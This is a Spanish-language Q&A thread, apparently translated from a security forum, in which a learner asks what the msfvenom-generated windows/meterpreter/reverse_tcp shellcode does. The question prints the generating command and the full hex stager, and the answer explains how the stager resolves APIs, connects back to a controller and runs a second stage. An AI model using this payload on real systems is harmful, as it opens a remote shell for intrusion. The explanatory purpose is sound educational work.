¿Qué hace Windows meterpreter reverso TCP Shellcode?

1

Acabo de empezar a aprender msfconsole y he usado windows / meterpreter / reverse_tcp. Sé que esto establece una conexión desde el sistema de destino a nuestro sistema de ataque.

Sin embargo, me gustaría saber que cuando generamos la carga útil utilizando msfvenom -p windows / meterpreter / reverse_tcp LHOST = x.x.x.x y LPORT = xxxx -f c. Lo que realmente hace el char Shellcode mencionado allí.

"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54"
"\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\x0a\x00\x02\x0f"
"\x68\x02\x00\x10\xe1\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50"
"\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
"\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67"
"\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58"
"\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85"
"\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1"
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

¿El código de shell tiene algún nombre en particular?

Me gustaría saber cuál es la función del Shellcode anterior y si tiene algún nombre en particular ya asignado. He intentado convertir al lenguaje ensamblador para entender pero no tengo suerte.

Apreciaría la orientación.

    
pregunta Craig Peris 02.08.2018 - 04:39
fuente

1 respuesta

2

Esta es la representación hexadecimal del código de shell que, cuando se genera en C, se puede asignar a una matriz. Una vez que el código de shell se asigna a una matriz, se puede ejecutar directamente a través del puntero de la función (funciona en Windows anterior, pero DEP tiene problemas con el método del puntero de función) o a través de la API estándar de Windows.

Al llegar al propio código de shell, primero utiliza la famosa técnica de API de bloque, donde todas las funciones importantes dentro de los módulos cargados se comparan con un conjunto de hashes pre-listados para encontrar las direcciones base de todas las funciones API que necesitar. Por ejemplo, el código de shell anterior primero busca LoadLibrary en kernel32.dll, una vez que lo encuentra, usa LoadLibrary para cargar ws2_32.dll que tiene todas las funciones necesarias para crear un socket. Usando el socket que se acaba de crear, el código de shell intentará una conexión con el controlador, recibirá el tamaño de la segunda etapa y asignará una región de memoria RWX, almacenará la segunda etapa recibida en la memoria RWX y pasará el control a la segunda etapa .

Eso es todo lo que hace el código de shell anterior. Eche un vistazo al código de ensamblaje comentado del código de shell reverse_tcp en enlace

    
respondido por el void_in 02.08.2018 - 09:09
fuente

Lea otras preguntas en las etiquetas